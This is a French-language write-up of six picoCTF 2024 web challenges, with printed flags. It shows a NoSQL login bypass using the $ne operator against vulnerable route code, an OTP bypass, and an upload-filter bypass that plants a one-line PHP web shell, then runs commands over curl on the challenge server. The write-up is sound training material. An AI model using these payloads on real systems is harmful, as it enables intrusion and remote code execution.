PicoCTF 2024 - Web Exploitation
Le PicoCTF 2024 vient de se terminer il y a quelques jours. Pour ceux qui ne sont pas familiers, PicoCTF est une plateforme de Capture The Flag (CTF) renommée, organisant un CTF chaque année. PicoCTF 2024 a été un CTF très enrichissant, offrant des challenges passionnants dans le domaine de la sécurité informatique. C'est un CTF idéal pour les débutants souhaitant se lancer dans ce domaine fascinant.
Dans ce post, je couvre la résolution des 6/7 challenges web qui ont été donnés lors du PicoCTF 2024. Nous plongerons dans chaque challenge pour explorer les techniques et les stratégies que j’ai utilisées pour les résoudre.
Bookmarklet(50pts)
Description:
Why search for the flag when I can make a bookmarklet to print it for me? Browse here, and find the flag!
Solution
je trouve qu’on me donne un code javascript qui est le Suivant:
1
2
3
4
5
6
7
8
9
javascript:(function() {
var encryptedFlag = "àÒÆÞ¦È¬ëÙ£ÖÓÚåÛÑ¢ÕÓÒËɧ©í";
var key = "picoctf";
var decryptedFlag = "";
for (var i = 0; i < encryptedFlag.length; i++) {
decryptedFlag += String.fromCharCode((encryptedFlag.charCodeAt(i) - key.charCodeAt(i % key.length) + 256) % 256);
}
alert(decryptedFlag);
})();
Alors ce que je vais faire est juste de creer un fichier code.js
dans mon Terminal, modifier la ligne alert(decryptedFlag);
par un console.log
et l’executer ensuite.
Show the Flag
picoCTF{p@g3_turn3r_6bbf8953}WebDecode(50pts)
Description
Do you know how to use the web inspector? Start searching here to find the flag.
Solution
Comme toujours je visite le site en question que je dois inspecter.
Voyans le site, je trouve 3 page Disponible, je vais alors visiter la seconde page.
Ici on me dit d’inspecter la page. En inspectant le code Souce je trouve cet ligne interessante:
1
<section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMWY4MzI2MTV9">
Ceci est un base64
, en le decodant avec le Terminal Je recois mon Flag
1
2
└─# echo cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMWY4MzI2MTV9 | base64 -d
picoCTF{web_succ3ssfully_d3c0ded_XXXXX}
Show the Flag
picoCTF{web_succ3ssfully_d3c0ded_1f832615}IntroToBurp(100pts)
Description:
Try here to find the flag
Solution
En visitant le site en question, je trouve une page d’enregistrement
Lorsque je remplis le formulaire, la page me renvoi sur une autre page de remplissage OTP(One Time Password)
Je ne connais aucun code Pin a mettre, Donc je dois surement la bypasser
- Pour ce faire, je vais intercepter le Traffic et l’envoyer a mon repeater
Je vais juste effacer la ligne
otp=123
et renvoyer la requete ensuite
Show the Flag
picoCTF{#0TP_Bypvss_SuCc3$S_6bffad21}Unminify(100pts)
Description:
I don’t like scrolling down to read the code of my website, so I’ve squished it. As a bonus, my pages load faster! Browse here, and find the flag!
Solution:
Voici le page du Site a exploiter
En inspectant le code Source du site je trouve le flag
Show the Flag
picoCTF{pr3tty_c0d3_51d374f0}NoSQL Injection(200pts)
Descripion:
Can you try to get access to this website to get the flag? You can download the source here. The website is running here. Can you log in?
Solution:
Dans ce challenge on est arrivé sur une page de Login.
En telechargent aussi le code source du challenge je trouve deux fichiers interessants. Dans le /api/login
je trouve le route.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import User from "@/models/user";
import { connectToDB } from "@/utils/database";
import { seedUsers } from "@/utils/seed";
export const POST = async (req: any) => {
const { email, password } = await req.json();
try {
await connectToDB();
await seedUsers();
const users = await User.find({
email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email,
password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : p
});
if (users.length < 1)
return new Response("Invalid email or password", { status: 401 });
else {
return new Response(JSON.stringify(users), { status: 200 });
}
} catch (error) {
return new Response("Internal Server Error", { status: 500 });
}
};
Ce que j’ai observer dans ce code est que:
- Il recherche un utilisateur dans la base de données en utilisant l’email et le mot de passe fournis. Il convertit les emails et les mots de passe qui commencent et finissent par
{}
en JSON avant de les utiliser dans la recherche.- Si un utilisateur correspondant est trouvé, il renvoie les détails de l’utilisateur en réponse (
200 OK
). Sinon, il renvoie une réponse indiquant que l’email ou le mot de passe est invalide (401 Invalid
) ou une erreur interne du serveur (500 Internal Server Error
) en cas d’erreur.
Ensuite dans le /utils
je trouve le seed.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import User from "../models/user";
export const seedUsers = async (): Promise<void> => {
try {
const users = await User.find({email: "joshiriya355@mumbama.com"});
if (users.length > 0) {
return;
}
const newUser = new User({
firstName: "Josh",
lastName: "Iriya",
email: "joshiriya355@mumbama.com",
password: process.env.NEXT_PUBLIC_PASSWORD as string
});
await newUser.save();
} catch (error) {
throw new Error("Some thing went wrong")
}
};
Pour bypasser ce login de l’utilisateur Josh Iriya
avec l’email joshiriya355@mumbama.com
, on peux utiliser la Technique $ne
pour cela. J’ai laisser quelque ressources a voir dans Ressources Supplementaires
J’ai une bonne reponse de 200
avec un token
en base64 que je vais decoder pour avoir mon flag
Show The Flag
picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_af67328d}Trickster(300pts)
Description:
I found a web app that can help process images: PNG images only! Try it here!
Solution:
Dans ce challenge, je trouve un system de telechargement de fichier.
La premiere idée qui me viennent en tete est que ce site serait vulnerable aux vulnerabilités de File Upload. Mais on me dit que je ne peux seulement que mettre des fichiers PNG
- En faisant un Test d’un fichier
.png
je recois.File uploaded successfully and is a valid PNG file. We shall process it and get back to you... Hopefully
- Et pour un fichier
.php
je recois.Error: File name does not contain '.png'.
Il me semble que mon fichier doit juste contenir le .png
, par exemple je peux dire fichier.png.php
ou fichier.png.png.php
et cela aussi fonctionne. De base je vais juste essayer d’afficher le page phpinfo
Dans la reponse on me dit que mon fichier a bien uploader, mais ou ? et donc dans le /robots.txt
je trouve ici.
1
2
3
User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/
Bon, notre code injecter fonction, et on a le fichier phpinfo
en retour. Maintenant je vais remplacer le code php que j’ai mis par <?=`$_GET[0]`?>
pour avoir un RCE.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─# curl -s "http://atlas.picoctf.net:60160/uploads/hacked.png.php?0=id" | strings
uid=33(www-data) gid=33(www-data) groups=33(www-data)
└─# curl -s "http://atlas.picoctf.net:60160/uploads/hacked.png.php?0=ls+/" | strings
boot
challenge
home
lib64
media
proc
root
sbin
└─# curl -s "http://atlas.picoctf.net:55288/uploads/hacked.png.php?0=pwd" | strings
/var/www/html/uploads
└─# curl -s "http://atlas.picoctf.net:55288/uploads/hacked.png.php?0=ls+-la+../" | strings
total 16
drwxrwxrwt 1 www-data www-data 21 Mar 11 23:59 .
drwxr-xr-x 1 root root 18 Nov 21 14:01 ..
-rw-r--r-- 1 root root 49 Mar 11 23:59 GNTDOMBWGIZDE.txt
-rw-r--r-- 1 root root 1572 Feb 7 17:25 index.php
-rw-r--r-- 1 root root 415 Feb 7 17:25 instructions.txt
-rw-r--r-- 1 root root 62 Feb 7 17:25 robots.txt
drwxr-xr-x 1 www-data root 28 Mar 27 21:36 uploads
je trouve un fichier GNTDOMBWGIZDE.txt
,
1
2
─# curl -s "http://atlas.picoctf.net:55288/uploads/hacked.png.php?0=cat+../GNTDOMBWGIZDE.txt" | strings
/* picoCTF{c3rt!fi3d_Xp3rt_XXXXXX} */
Show The Flag
picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_3f706222}Ressources supplementaires
Voici quelques ressources supplémentaires qui pourraient vous être utiles :